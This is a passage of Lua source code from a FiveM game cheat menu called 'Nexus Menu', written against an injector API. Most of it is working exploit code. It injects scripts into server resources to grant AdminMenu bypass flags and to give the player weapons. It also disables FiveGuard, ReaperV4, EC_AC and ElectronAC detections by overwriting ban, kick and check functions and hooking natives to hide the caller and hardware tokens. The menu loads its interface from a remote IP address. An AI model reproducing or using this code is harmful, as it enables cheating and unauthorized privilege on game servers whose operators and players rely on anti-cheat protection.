MachoInjectResource2(2, fgRes, [[ function check_if_webhook_table(tbl) for i,v in pairs(tbl) do if type(v) == "table" then if v["_DESCRIPTION"] == 'rapidjson bindings for Lua' then -- print("Found Upvalue that has settings?") return true end end end return false end local function check_upvalues_for_webhook(func) local i = 1 while true do local name, upvalue = debug.getupvalue(func, i) if not name then break end if type(upvalue) == "table" then if check_if_webhook_table(upvalue) then return true, upvalue, i end end i = i + 1 end return false, nil end pcall(function() if not _G["RemoveEventHandler"] then return end local name, eventHandlersRaw = debug.getupvalue(_G["RemoveEventHandler1"] or _G["RegisterNetEvent"] or _G["RemoveEventHandler"], 2) if not eventHandlersRaw then return print("uhh?") end local eventHandlers = {} if type(eventHandlersRaw) ~= "table" then name, eventHandlersRaw = debug.getupvalue(eventHandlersRaw, 2) -- WaveShield end if type(eventHandlersRaw) ~= "table" then return print("This shouldnt happen") end for name, raw in pairs(eventHandlersRaw) do if raw.handlers then for id, v in pairs(raw.handlers) do table.insert(eventHandlers, { handle = { ['key'] = id, ['name'] = name }, func = v, type = (string.find(name, "__cfx_nui") and "NUICallback") or (string.find(name, "__cfx_export") and "Export") or "Event" }) end end end local sendIsAllowed for _, v in pairs(eventHandlers) do local name = v["handle"]["name"]; local typeEvent = v["type"] local func = v["func"] if string.find(name, "_fg:sendIsAllowed") then sendIsAllowed = func end end if not sendIsAllowed then return print("HEY!") end local has_webhook, tbl, idxu = check_upvalues_for_webhook(sendIsAllowed) if not has_webhook then return print("This shoundnt happen!") end local function setBypass(tbl) for i,v in pairs(tbl) do for idx, vv in pairs(v) do if tbl[i][idx] then print("#515hg") end tbl[i][idx] = true -- print(idx, true) end end end local checked = {} -- Keep track of tables we've already checked local function RecurseEnableBypass(tbl) if checked[tbl] then return end -- Skip if already checked checked[tbl] = true for k, v in pairs(tbl) do if type(v) == "table" then if v["AdminMenu"] and type(v["AdminMenu"]) == "table" then -- print("Found AdminMenu table!") setBypass(v) end RecurseEnableBypass(v) end end end RecurseEnableBypass(tbl) Debug.setupvalue(sendIsAllowed, idxu, tbl) end) ]]) Wait(500) ExecuteCommand("fgmenu") else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = 'FiveGuard not found!', type = 'error' })) end end end) end }, { label = 'Laser Eyes', hint = 'Hold E To Shoot', type = 'checkbox', canBind = true, bindName = 'Laser Eyes', value = false, onConfirm = function() -- Toggle laser eyes state if not _G.laserEyesActive then _G.laserEyesActive = true -- Initialization thread: weapon hooks, inventory bypass, JS canvas Citizen.CreateThread(function() if MachoHookNative then pcall(function() MachoHookNative(0xB0237302, function() local selfPed = PlayerPedId() return SetCurrentPedWeapon(selfPed, GetHashKey('WEAPON_UNARMED'), true) end) end) pcall(function() MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) end) end -- Detect and patch inventory resource local invResource = nil local inventoryResources = {'ox_inventory', 'qb-inventory', 'qs-inventory', 'esx_inventory', 'core_inventory', 'inventory'} for _, resName in ipairs(inventoryResources) do if GetResourceState(resName) == 'started' then invResource = resName break end end if invResource and MachoInjectResource2 then pcall(function() MachoInjectResource2(3, invResource, [[ local _GetCurrentPedWeapon = GetCurrentPedWeapon local _RemoveAllPedWeapons = RemoveAllPedWeapons local _RemoveWeaponFromPed = RemoveWeaponFromPed local _SetCurrentPedWeapon = SetCurrentPedWeapon GetCurrentPedWeapon = function(ped, ...) return true, GetHashKey("WEAPON_UNARMED") end RemoveAllPedWeapons = function(ped, ...) return end RemoveWeaponFromPed = function(ped, weapon) return end SetCurrentPedWeapon = function(ped, weapon, ...) if weapon == GetHashKey("WEAPON_UNARMED") then return _SetCurrentPedWeapon(ped, weapon, ...) end return end ]]) end) end Citizen.Wait(100) -- Inject canvas overlay + laser drawing via MachoInjectJavaScript if MachoInjectJavaScript then pcall(function() MachoInjectJavaScript([[ (function() { if (window.__nexusLaserReady) { window.laserEyesActive = true; if (window.laserCanvas) window.laserCanvas.style.opacity = '1'; return; } window.__nexusLaserReady = true; window.laserEyesActive = false; window.laserEyesData = null; var canvas = document.createElement('canvas'); canvas.id = 'laserCanvas'; canvas.style.position = 'fixed'; canvas.style.top = '0'; canvas.style.left = '0'; canvas.style.width = '100%'; canvas.style.height = '100%'; canvas.style.pointerEvents = 'none'; canvas.style.zIndex = '9999'; canvas.style.opacity = '0'; canvas.style.transition = 'opacity 0.15s ease'; document.body.appendChild(canvas); window.laserCanvas = canvas; var ctx = canvas.getContext('2d'); window.laserCtx = ctx; canvas.width = window.innerWidth; canvas.height = window.innerHeight; window.addEventListener('resize', function() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; }); function drawLaserBeam(x1, y1, x2, y2) { ctx.save(); ctx.beginPath(); ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.strokeStyle = 'rgba(255, 0, 0, 0.3)'; ctx.lineWidth = 6; ctx.lineCap = 'round'; ctx.shadowBlur = 8; ctx.shadowColor = 'rgba(255, 0, 0, 0.5)'; ctx.stroke(); ctx.restore(); ctx.save(); ctx.beginPath(); ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.strokeStyle = 'rgba(255, 0, 0, 1)'; ctx.lineWidth = 2.5; ctx.lineCap = 'round'; ctx.shadowBlur = 4; ctx.shadowColor = 'rgba(255, 0, 0, 0.8)'; ctx.stroke(); ctx.restore(); var grad = ctx.createRadialGradient(x2,y2,0,x2,y2,18); grad.addColorStop(0, 'rgba(255,255,255,0.7)'); grad.addColorStop(0.3, 'rgba(255,120,0,0.5)'); grad.addColorStop(0.7, 'rgba(255,30,0,0.2)'); grad.addColorStop(1, 'rgba(255,0,0,0)'); ctx.beginPath(); ctx.arc(x2,y2,18,0,2*Math.PI); ctx.fillStyle = grad; ctx.fill(); } function drawLasers() { ctx.clearRect(0,0,canvas.width,canvas.height); if (window.laserEyesActive && window.laserEyesData && window.laserEyesData.leftEye && window.laserEyesData.rightEye && window.laserEyesData.target) { drawLaserBeam(window.laserEyesData.leftEye.x, window.laserEyesData.leftEye.y, window.laserEyesData.target.x, window.laserEyesData.target.y); drawLaserBeam(window.laserEyesData.rightEye.x, window.laserEyesData.rightEye.y, window.laserEyesData.target.x, window.laserEyesData.target.y); } requestAnimationFrame(drawLasers); } window.laserUpdate = function(data) { window.laserEyesActive = data.active || false; if (window.laserEyesActive) { canvas.style.opacity = '1'; if (data.leftEye && data.rightEye && data.target) { window.laserEyesData = { leftEye:{x:data.leftEye.x,y:data.leftEye.y}, rightEye:{x:data.rightEye.x,y:data.rightEye.y}, target:{x:data.target.x,y:data.target.y} }; } else { window.laserEyesData = null; } } else { canvas.style.opacity = '0'; window.laserEyesData = null; } }; drawLasers(); window.laserEyesActive = true; canvas.style.opacity = '1'; })(); ]]) end) end end) -- End of initialization thread -- Give laser weapon in a separate thread Citizen.CreateThread(function() Citizen.Wait(150) local selfPed = PlayerPedId() local weaponHash = GetHashKey('VEHICLE_WEAPON_GRANGER2_MG') if GetResourceState('ReaperV4') == 'started' and _G.ReaperRaper then pcall(function() ReaperRaper('GiveWeaponToPed', selfPed, weaponHash, 200, false, true) end) else pcall(function() GiveWeaponToPed(selfPed, weaponHash, 200, false, true) end) end pcall(function() SetCurrentPedWeapon(selfPed, weaponHash, true) SetPedAmmo(selfPed, weaponHash, 200) end) end) -- Main laser loop thread Citizen.CreateThread(function() while _G.laserEyesActive do Citizen.Wait(0) local ped = PlayerPedId() local camCoords = GetGameplayCamCoord() local camRot = GetGameplayCamRot(2) local forwardVector = vector3( -math.sin(math.rad(camRot.z)) * math.cos(math.rad(camRot.x)), math.cos(math.rad(camRot.z)) * math.cos(math.rad(camRot.x)), math.sin(math.rad(camRot.x)) ) local laserEnd = vector3( camCoords.x + forwardVector.x * 500.0, camCoords.y + forwardVector.y * 500.0, camCoords.z + forwardVector.z * 500.0 ) local leftEye = GetPedBoneCoords(ped, 25260, 0.0, 0.0, 0.0) local rightEye = GetPedBoneCoords(ped, 17188, 0.0, 0.0, 0.0) local eHeld = IsDisabledControlPressed(0, 38) local leftEyeX, leftEyeY = MachoWorldToScreen(leftEye.x, leftEye.y, leftEye.z) local rightEyeX, rightEyeY = MachoWorldToScreen(rightEye.x, rightEye.y, rightEye.z) local targetX, targetY = MachoWorldToScreen(laserEnd.x, laserEnd.y, laserEnd.z) if leftEyeX and leftEyeY and rightEyeX and rightEyeY and targetX and targetY then if eHeld then ShootSingleBulletBetweenCoords( leftEye.x, leftEye.y, leftEye.z, laserEnd.x, laserEnd.y, laserEnd.z, 100, true, GetHashKey('VEHICLE_WEAPON_GRANGER2_MG'), ped, true, true, 5000.0 ) ShootSingleBulletBetweenCoords( rightEye.x, rightEye.y, rightEye.z, laserEnd.x, laserEnd.y, laserEnd.z, 100, true, GetHashKey('VEHICLE_WEAPON_GRANGER2_MG'), ped, true, true, 5000.0 ) end if MachoInjectJavaScript then pcall(function() MachoInjectJavaScript(string.format([[ if (window.laserUpdate) { window.laserUpdate({ active: true, leftEye: { x: %f, y: %f }, rightEye: { x: %f, y: %f }, target: { x: %f, y: %f } }); } ]], leftEyeX, leftEyeY, rightEyeX, rightEyeY, targetX, targetY)) end) end else if MachoInjectJavaScript then pcall(function() MachoInjectJavaScript([[ if (window.laserUpdate) { window.laserUpdate({ active: true }); } ]]) end) end end end -- Loop ended: deactivate JS canvas if MachoInjectJavaScript then pcall(function() MachoInjectJavaScript([[ if (window.laserUpdate) { window.laserUpdate({ active: false }); } ]]) end) end end) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = 'Laser Eyes: ENABLED - Hold E to shoot!', type = 'success' })) end else _G.laserEyesActive = false if MachoInjectJavaScript then pcall(function() MachoInjectJavaScript([[ if (window.laserUpdate) { window.laserUpdate({ active: false }); } ]]) end) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = 'Laser Eyes: DISABLED', type = 'info' })) end end end -- closes onConfirm = function() } -- End of Laser Eyes entry } -- End of VIP #1 submenu } } -- End of tabs array }) -- Close table.insert end -- Validate originalMenu before using it if not originalMenu or type(originalMenu) ~= "table" then print("^1[ERROR] originalMenu is not properly initialized - type is: " .. type(originalMenu)) originalMenu = { { label = "Error: Menu not loaded", type = "button", onConfirm = function() print("Menu failed to load properly") end } } elseif #originalMenu == 0 then print("^1[WARNING] originalMenu is empty!") end -- Initialize banner options activeMenu = originalMenu or {} -- ===================== SAFE COPY FOR DUI ===================== local function safeMenuCopy(menu) if not menu or type(menu) ~= "table" then return {} end local copy = {} for i, v in ipairs(menu) do local item = { label = v.label or "", type = v.type or "" } if v.icon then item.icon = v.icon end if v.playerId then item.playerId = v.playerId end if v.canBind then item.canBind = v.canBind end if v.bindName then item.bindName = v.bindName end if v.type == "scroll" then item.options = {} -- Safe iteration with nil check if v.options and type(v.options) == "table" then for _, opt in ipairs(v.options) do if type(opt) == "string" or type(opt) == "number" then table.insert(item.options, { label = tostring(opt), value = tostring(opt) }) elseif type(opt) == "table" then table.insert(item.options, { label = tostring(opt.label or opt[1] or ""), value = tostring(opt.value or opt.label or opt[1] or "") }) else table.insert(item.options, { label = tostring(opt), value = tostring(opt) }) end end end -- Ensure options is never empty if not item.options or #item.options == 0 then item.options = {{ label = "(empty)", value = "(empty)" }} end -- Safe selected index calculation with nil check local sel = v.selected or 1 if sel < 1 then sel = 1 end if item.options and #item.options > 0 then if sel > #item.options then sel = #item.options end else sel = 1 end item.selected = sel - 1 -- 0-based for JS elseif v.type == "slider" then item.min = v.min or 0 item.max = v.max or 100 item.value = v.value or item.min elseif v.type == "checkbox" then item.checked = v.checked == true elseif v.type == "input" then item.question = v.question or 'Enter text:' item.placeholder = v.placeholder or 'Type here...' item.value = v.value or '' item.maxLength = v.maxLength or 100 item.inputType = v.inputType or 'general' elseif v.type == "submenu" then if type(v.submenu) == "table" then item.submenu = safeMenuCopy(v.submenu) end end copy[i] = item end return copy end -- ===================== HELPERS ===================== -- Safe breadcrumb update function local function updateBreadcrumb() if not dui or not breadcrumbPath then return end -- Ensure breadcrumbPath is a valid table if type(breadcrumbPath) ~= "table" then breadcrumbPath = { "Home" } return end -- Safely encode and send breadcrumb local success, encoded = pcall(json.encode, { action = 'updateBreadcrumb', path = breadcrumbPath }) if success and encoded then pcall(MachoSendDuiMessage, dui, encoded) end end function setCurrent() if dui and menuInitialized then -- Ensure activeMenu is valid and not nil if not activeMenu or type(activeMenu) ~= "table" then activeMenu = originalMenu or {} end -- Safety check: Make sure activeMenu has items before proceeding if #activeMenu == 0 then return end local menuData = { action = 'setCurrent', current = activeIndex, menu = safeMenuCopy(activeMenu) } -- Add tab information if tabs are active if currentTabs and type(currentTabs) == "table" then menuData.tabIndex = currentTabIndex local tabNames = {} for _, tab in ipairs(currentTabs) do if tab and tab.name then table.insert(tabNames, tab.name) end end menuData.tabs = tabNames end local success, encoded = pcall(json.encode, menuData) if success then MachoSendDuiMessage(dui, encoded) updateBreadcrumb() end end end local function IsDisabledControlPressed(control) return IsDisabledControlJustPressed(0, control) or IsDisabledControlJustPressed(0, control) end local function isControlJustPressed(control) return IsDisabledControlJustPressed(0, control) or IsDisabledControlJustPressed(0, control) end local function isControlJustReleased(control) return IsDisabledControlJustReleased(0, control) or IsDisabledControlJustReleased(0, control) end -- Mapping from FiveM control IDs to Windows Virtual-Key codes local ControlToVKeyMap = { [187] = 0x28, -- Arrow Down [188] = 0x26, -- Arrow Up [189] = 0x25, -- Left Arrow [190] = 0x27, -- Right Arrow [191] = 0x0D, -- Enter [200] = 0x1B, -- Escape [202] = 0x1B, -- Escape (alternate) [178] = 0x2E, -- Delete [194] = 0x08, -- Backspace [44] = 0x51, -- Q Key [46] = 0x45, -- E Key [18] = 0x0D, -- Enter (alternate) } -- Helper function to check if a virtual key was just pressed local function isVKeyJustPressed(vkeyCode) return keyJustPressed[vkeyCode] == true end -- Helper function to check if a virtual key is currently held down local function isVKeyHeld(vkeyCode) return keyStates[vkeyCode] == true end -- Helper function to check if a virtual key should trigger (just pressed or held with repeat) -- Note: The repeat logic is handled by the key repeat thread, so we just check keyJustPressed local function isVKeyTriggered(vkeyCode) return keyJustPressed[vkeyCode] == true end -- Helper function to check if a control was just pressed using virtual key system local function isControlJustPressedVKey(controlId) local vkeyCode = ControlToVKeyMap[controlId] if vkeyCode then return isVKeyJustPressed(vkeyCode) end return false end -- Helper function to check if a control should trigger (supports holding) using virtual key system local function isControlTriggeredVKey(controlId) local vkeyCode = ControlToVKeyMap[controlId] if vkeyCode then return isVKeyTriggered(vkeyCode) end return false end -- Function to properly initialize the menu - RESET TO MAIN ON OPEN local function initializeMenu() if not menuInitialized and dui then menuInitialized = true -- Ensure originalMenu is valid and not nil if not originalMenu or type(originalMenu) ~= "table" or #originalMenu == 0 then print("^1[Nexus Menu] ERROR: Cannot initialize menu^0") return end -- Always reset to main menu when opening activeMenu = originalMenu activeIndex = 1 breadcrumbPath = { "Home" } nestedMenus = {} -- Reset tabs to main menu currentTabs = nil currentTabIndex = 0 -- Reset UI tabs to main menu pcall(function() MachoSendDuiMessage(dui, json.encode({ action = 'setTabs', tabs = {"Main Menu"} })) end) pcall(function() MachoSendDuiMessage(dui, json.encode({ action = 'setTabIndex', index = 0 })) end) -- Show the menu pcall(function() MachoSendDuiMessage(dui, json.encode({ action = 'setVisible', visible = true })) end) -- Set current menu and update banner pcall(setCurrent) pcall(updateBannerSettings) -- Update keybind list when menu opens if showKeybindList then pcall(updateKeybindListUI) end -- Update spectator list when menu opens if showSpectatorList then CreateThread(function() Wait(100) -- Small delay to ensure everything is ready pcall(updateSpectatorListUI) end) end -- Send position settings to Svelte if dui then MachoSendDuiMessage(dui, json.encode({ action = 'setKeybindListPosition', position = keybindListPosition })) MachoSendDuiMessage(dui, json.encode({ action = 'setSpectatorListPosition', position = spectatorListPosition })) end end end -- Function to save and close the menu - NO STATE SAVING local function closeMenu() -- Hide the menu if dui then MachoSendDuiMessage(dui, json.encode({ action = 'setVisible', visible = false })) end -- Reset initialization flag menuInitialized = false textInputActive = false keySelectionActive = false keybindSetupActive = false keybindWaitingForKey = false keybindSelectedControl = nil keybindTargetFeature = nil end -- ===================== ENHANCED F9 DETECTION THREAD ===================== CreateThread(function() Wait(500) local lastF9Press = 0 while true do Wait(0) -- F9 detection is now handled in the main key handler end end) -- ===================== FIXED MENU TOGGLE ===================== -- Enhanced menu toggle with custom key support -- ===================== FIXED MENU TOGGLE - UNIFIED FOR ALL KEYS ===================== -- Enhanced menu toggle with custom key support - CONSISTENT BEHAVIOR FOR ALL KEYS -- ===================== MENU TOGGLE - ALL KEYS HANDLED IN handleKeyPress ===================== CreateThread(function() Wait(500) -- All key handling moved to handleKeyPress for consistency while true do -- Periodically update keybind list to sync with feature states if showKeybindList and dui and menuInitialized and _G.clientMenuShowing then pcall(updateKeybindListUI) end -- Periodically update spectator list (always update, not just when menu is open) -- Always check MenuSystem directly to ensure we have the latest value if MenuSystem.spectators.showSpectatorList and dui and menuInitialized then -- Always call update, even if it might error - this ensures continuous updates -- This will send an empty list if no spectators, ensuring the UI clears properly local success, err = pcall(updateSpectatorListUI) if not success and err then ---("Error updating spectator list:", tostring(err)) end end Wait(150) -- Update every 150ms for more responsive updates end end) -- ===================== CUSTOM KEYBIND DETECTION ===================== CreateThread(function() Wait(500) local lastPress = {} while true do -- Check all custom keybinds for controlId, keybind in pairs(customKeybinds) do local keyPressed = false -- Handle standard FiveM controls if controlId < 1000 then keyPressed = IsControlJustPressed(0, controlId) and not _G.clientMenuShowing and not keySelectionActive and not textInputActive and not keybindSetupActive -- Handle letter keys (1000-1025) elseif controlId >= 1000 and controlId <= 1025 then local letter = string.char(65 + (controlId - 1000)) -- A=65 -- This would need to be handled by the raw key listener instead keyPressed = false -- Placeholder - raw keys handled in handleKeyPress -- Handle number keys (2000-2009) elseif controlId >= 2000 and controlId <= 2009 then -- This would need to be handled by the raw key listener instead keyPressed = false -- Placeholder - raw keys handled in handleKeyPress -- Handle function keys (3000-3011) elseif controlId >= 3000 and controlId <= 3011 then -- This would need to be handled by the raw key listener instead keyPressed = false -- Placeholder - raw keys handled in handleKeyPress end if keyPressed then local currentTime = GetGameTimer() if not lastPress[controlId] or currentTime - lastPress[controlId] > 200 then -- Only trigger if keybind is enabled if keybind.enabled ~= false then keybind.callback() end lastPress[controlId] = currentTime end end end Wait(0) end end) -- ===================== MAIN THREAD - EXACT COPY FROM WORKING VERSION ===================== CreateThread(function() dui = MachoCreateDui("http://185.55.240.194:5000/ggsyoufoundlyikn/") if dui then MachoShowDui(dui) -- OSINT Performance: Reduced arbitrary 2000ms delay down to 250ms for buttery-smooth instant startup Wait(250) -- Send Discord username to UI if available if _G["NexusMenuDiscordUsername"] then MachoSendDuiMessage(dui, json.encode({ action = 'setDiscordUsername', username = _G["NexusMenuDiscordUsername"], expiresAt = _G["NexusMenuExpiryDate"] or 'Unknown' })) end -- Auto-load bypasses when script first initializes -- Function to load bypasses (moved to be called after key selection) function loadBypasses() if not bypassesLoaded then --- ("Loading bypasses...") bypassesLoaded = true CreateThread(function() -- OSINT Performance: Reduced 1500ms delay to 0ms for instant bypass execution Wait(0) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading Bypasses.", type = 'success' })) end -- Check if specific server by checking for cashflowcars resource local isSpecialServer = false local serverEndpoint = GetCurrentServerEndpoint() -- Check if on the specific server (216.145.24.76 or 216.146.24.76) if serverEndpoint then if string.find(serverEndpoint, "216.145.24.76") or string.find(serverEndpoint, "216.146.24.76") then isSpecialServer = true end end -- Also check if cashflowcars resource exists if GetResourceState("cashflowcars") == "started" then isSpecialServer = true end if isSpecialServer then -- Load only the 2 specific bypasses for this server if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading Special Bypasses for this server.", type = 'success' })) end local res = GetResourceByFindIndex(i) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Special bypasses loaded for this server!", type = 'success' })) end return -- Exit early, don't load other bypasses end -- Generic AC Bypass for resources with "ac" metadata = "fg" CreateThread(function() -- Wait a bit for FiveGuard to fully initialize its metadata Wait(500) local fgFound = false local maxAttempts = 5 local attemptCount = 0 while not fgFound and attemptCount < maxAttempts do attemptCount = attemptCount + 1 for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then if GetResourceMetadata(v, "ac", 0) == "fg" then fgFound = true print("[ FiveGuard detected (attempt " .. attemptCount .. "), loading bypass...") MachoInjectResourceScriptOverride("NewThreads", v, [[ _G.TriggerServerEvent = true _G.TriggerLatentServerEvent = true pcall(function() for name, value in pairs(_G) do if type(value) == "table" and name ~= "_G" and name ~= "SetStateBagValue" then _G[name] = 1337 end end end) pcall(function() debug.setmetatable(_G, { __newindex = function(t, k, v) end, __metatable = false }) end) local oldTrigger = _G.TriggerServerEvent _G.TriggerServerEvent = function(...) end _G.TriggerLatentServerEvent = function(...) end for name, value in pairs(_G) do if type(value) == "table" and name ~= "_G" then for k, v in pairs(value) do if type(k) == "string" and (k:find("Ban") or k:find("Kick") or k:find("Check")) then value[k] = function() return end end end end end ]],"@citizen:/scripting/lua/scheduler.lua", 500, 600) Wait(1500) MachoInjectResourceScriptOverride("NewThreads", v, [[ local oldTrigger = _G.TriggerServerEvent _G.TriggerServerEvent = function(...) end _G.TriggerLatentServerEvent = function(...) end for name, value in pairs(_G) do if type(value) == "table" and name ~= "_G" then for k, v in pairs(value) do if type(k) == "string" and (k:find("Ban") or k:find("Kick") or k:find("Check")) then value[k] = function() return end end end end end Citizen.CreateThread(function() while true do Citizen.Wait(0) for k, v in pairs(_G) do if type(v) == "function" and type(k) == "string" then if k:lower():find("type") then _G[k] = print end end end end end) Citizen.CreateThread(function() while true do Citizen.Wait(0) for k, v in pairs(_G) do if type(v) == "function" and type(k) == "string" then if k:lower():find("function") then _G[k] = print end end end end end) Citizen.CreateThread(function() while true do Citizen.Wait(0) for k, v in pairs(_G) do if type(v) == "function" and type(k) == "string" then if k:lower():find("pairs") then _G[k] = print end end end end end) Citizen.CreateThread(function() while true do Citizen.Wait(0) for k, v in pairs(_G) do if type(v) == "function" and type(k) == "string" then if k:lower():find("string") then _G[k] = print end end end end end) Citizen.CreateThread(function() while true do Citizen.Wait(0) for k, v in pairs(_G) do if type(v) == "function" and type(k) == "string" then if k:lower():find("next") then _G[k] = print end end end end end) Citizen.CreateThread(function() while true do Citizen.Wait(0) for k, v in pairs(_G) do if type(v) == "function" and type(k) == "string" then if k:lower():find("_G") then _G[k] = print end end end end end) ]],"@citizen:/scripting/lua/scheduler.lua", 500, 600) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "FiveGuard Bypass Loaded!", type = 'success' })) end end end end -- If not found yet, wait and retry if not fgFound then Wait(500) end end if not fgFound then end end) -- ReaperV4 Bypass if GetResourceState("ReaperV4") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading ReaperV4 Bypass.", type = 'success' })) end MachoInjectResourceScriptOverride(NewThreadNs, "ReaperV4", [[ local _D = Detections or Detections_Self if _D then _D.detection = function() return { key = "" } end end ]], "client.lua", 500, 600) MachoInjectResource2(2, "ReaperV4", [[ local origGetSelectedPedWeapon = GetSelectedPedWeapon pcall(function() if Player and Player.get then local origGet = Player.get Player.get = function(self, key, ...) if type(key) == "string" then if key:find("^Weapon:") then return true end if key:find("^WeaponDamage:") then return GetWeaponDamageModifier(origGetSelectedPedWeapon(PlayerPedId())) end if key:find("^weapon_") and key:find("_component_") then return true end end return origGet(self, key, ...) end end end) -- [2] Master Config Hook with Explicit Blacklist + Dynamic Fallback pcall(function() local blockedConfigs = { -- Booleans (return false to disable) ["ScreenRecord"] = false, ["antiSpectate"] = false, ["antiWeaponModifier"] = false, ["antiWeaponSpawn"] = false, ["antiTeleport"] = false, ["antiNoClip"] = false, ["antiGodMode"] = false, ["antiNoCriticalHits"] = false, ["antiInfiniteCombatRoll"] = false, ["antiFreeCam"] = false, ["antiFreeCam2"] = false, ["antiFreeCam3"] = false, ["antiInvisible"] = false, ["onScreenMenuDetection"] = false, ["antiSkinChanger"] = false, ["antiAttach"] = false, ["antiVoiceExploits"] = false, ["antiSpawnIsolated"] = false, ["antiSoloSession"] = false, ["antiDevTools"] = false, ["antiWarpIntoVehicle"] = false, ["antiRepairVehicle"] = false, ["antiVehicleModifier"] = false, ["antiHitboxModifier"] = false, ["unauthorizedAnimationLoaded"] = false, ["antiNPCVehicleAttach"] = false, ["heartbeat"] = false, ["antiAimBot"] = false, ["antiClothingChanger"] = false, ["antiWeaponComponentModifier"] = false, ["pro_addon"] = false, ["antiAttachEntities"] = false, ["antiPedSpeedModifier"] = false, -- Distances/Flags (return extremely high values) ["antiTeleportMaxDistance"] = 999999, ["ant1iNoClipMaxDistance"] = 999999, ["max_aimbot_flags"] = 999999, } if Config and Config.getValue then local origGetValue = Config.getValue Config.getValue = function(self, key, ...) if type(key) == "string" then -- 1. Check Explicit Blocklist if blockedConfigs[key] ~= nil then return blockedConfigs[key] end -- 2. Handle specific tables (ignored weapons, blacklisted commands) local k = key:lower() if k:find("ignored") or k:find("blacklisted") then return setmetatable({}, { __index = function() return true end }) end -- 3. Dynamic Fallbacks (in case of new detections not on the list) if k:find("max") then return 999999 elseif k:find("anti") or k:find("check") or k:find("block") then return false end end return origGetValue(self, key, ...) end end end) -- [3] Lock-on Distance & Weapon Range adjustments local origLockon = GetLockonDistanceOfCurrentPedWeapon GetLockonDistanceOfCurrentPedWeapon = function(...) local real = origLockon(...) return real > 499.0 and 100.0 or real end local origMaxRange = GetMaxRangeOfCurrentPedWeapon GetMaxRangeOfCurrentPedWeapon = function(...) return math.max(origMaxRange(...), 99999.0) end -- [4] Master Detection Bypass (Destroys ALL detection routines natively) pcall(function() local function disableDetections(obj) if obj and type(obj) == "table" then if obj.addDetection then obj.addDetection = function(...) return nil end end if obj.detection then obj.detection = function(...) return nil end end if obj.addDetectionHook then obj.addDetectionHook = function(...) return nil end end end end if Detections then disableDetections(Detections) end if Globals then disableDetections(Globals) end if LocalPlayer then disableDetections(LocalPlayer) end if _G.Detections then disableDetections(_G.Detections) end if _G.Globals then disableDetections(_G.Globals) end end) ]]) MachoHookNative(0xC6D3D26810C8E0F9, function(...) return false, false end) MachoHookNative(0x8D4D46230B2C353A, function(...) return false, 3 end) MachoHookNative(0xB15162CB5826E9E8, function(...) return false, true end) MachoHookNative(0xD5037BA82E12416F, function(...) return false, 0 end) MachoHookNative(0xFB92A102F1C4DFA3, function(...) return false, true end) end Wait(100) -- EC_AC Bypass if GetResourceState("EC_AC") == "started" or GetResourceState("EC_PANEL") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading EC_AC Bypass.", type = 'success' })) end MachoInjectResourceRaw("EC_AC", [[ local o_AddEventHandler = AddEventHandler AddEventHandler = function(eventName, cb) local o_cb = cb cb = function(a, b, c, d, e, f, g) if a and type(a) == "table" and a.modules then for k, v in pairs(a.modules) do if not string.find(k, "antiResourceStop") and not string.find(k, "antiOffline") and not string.find(k, "Trigger") then v.enabled = false end end end return o_cb(a, b, c, d, e, f, g) end o_AddEventHandler(eventName, cb) end ]]) end Wait(100) local electronACResourceName = nil do local detectedACs = GetAntiCheats() for _, acData in ipairs(detectedACs) do local acName = acData[1] local acRes = acData[2] if acName == "ElectronAC" and acRes then electronACResourceName = acRes break end end end if electronACResourceName and GetResourceState(electronACResourceName) == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading ElectronAC Bypass.", type = 'success' })) end -- ANTI-DEBUG NATIVES MachoHookNative(0x4EDE34FBADD967A6, function(...) return false, false end) -- IsDebugCameraActive MachoHookNative(0xDC52FA523D1E72E4, function(...) return false, false end) -- IsPauseMNexusActive - return false MachoHookNative(0xB0034A223497FFCB, function(...) return false end) -- Don't allow debug features MachoHookNative(0x4E76E76, function() return nil end) -- GetInvokingResource (Hide who is calling) MachoHookNative(0x1563220E, function() return 0 end) -- GetNumPlayerTokens (Hide HWID/Token info) -- GetCurrentPedWeapon - return unarmed -- GetBestPedWeapon - return unarmed MachoHookNative(0x8DECB02F88F428BC, function(...) return false, false end) -- HasPedGotWeapon - return false MachoHookNative(0x2B9EEDC07BD06B9F, function(...) return false, 0 end) -- GetWeaponDamageType - return 0 MachoHookNative(0x3133B907CFFFE4A6, function(...) return false, 1.0 end) -- GetWeaponDamageModifier - return 1.0 -- ANTI-QUIT/FORCE UPDATE NATIVES MachoHookNative(0xE3B05614DCE1D014, function(...) return false end) -- QuitGame - do nothing MachoHookNative(0xEB6891F03362FB12, function(...) return false end) -- ForceSocialClubUpdate - do nothing -- ANTI-MODEL DETECTION NATIVES MachoHookNative(0x9F47B058362C84B5, function(entity) return false, GetHashKey("mp_m_freemode_01") end) -- GetEntityModel - return default ped model -- ANTI-SCRIPT DETECTION NATIVES MachoHookNative(0xBC1D7869479A7CBE, function(entity, ...) return false, "es_extended" end) -- GetEntityScript - return fake script name -- ANTI-VEHICLE DELETE NATIVES MachoHookNative(0xEA386986E786A54F, function(vehicle) return false end) -- DeleteVehicle - do nothing MachoHookNative(0x7D6F9A3EF26136A0, function(vehicle, ...) return false end) -- DeleteEntity - do nothing -- ANTI-NUI NATIVES MachoHookNative(0xB6871B0555B02996, function(...) return false end) -- SendNUIMessage - do nothing MachoHookNative(0xE5173C163E4FEF58, function(...) return false end) -- SetNuiFocus - do nothing -- ANTI-TRACE/DEBUG NATIVES MachoHookNative(0x4EDE34FBADD967A7, function(...) return false, "lil bro no debug for you" end) -- Citizen.Trace replacement MachoHookNative(0xB346476EF1A64897, function(...) return false, false end) -- IsEntityAttached - return false MachoHookNative(0xEFBE71898A993729, function(...) return false, 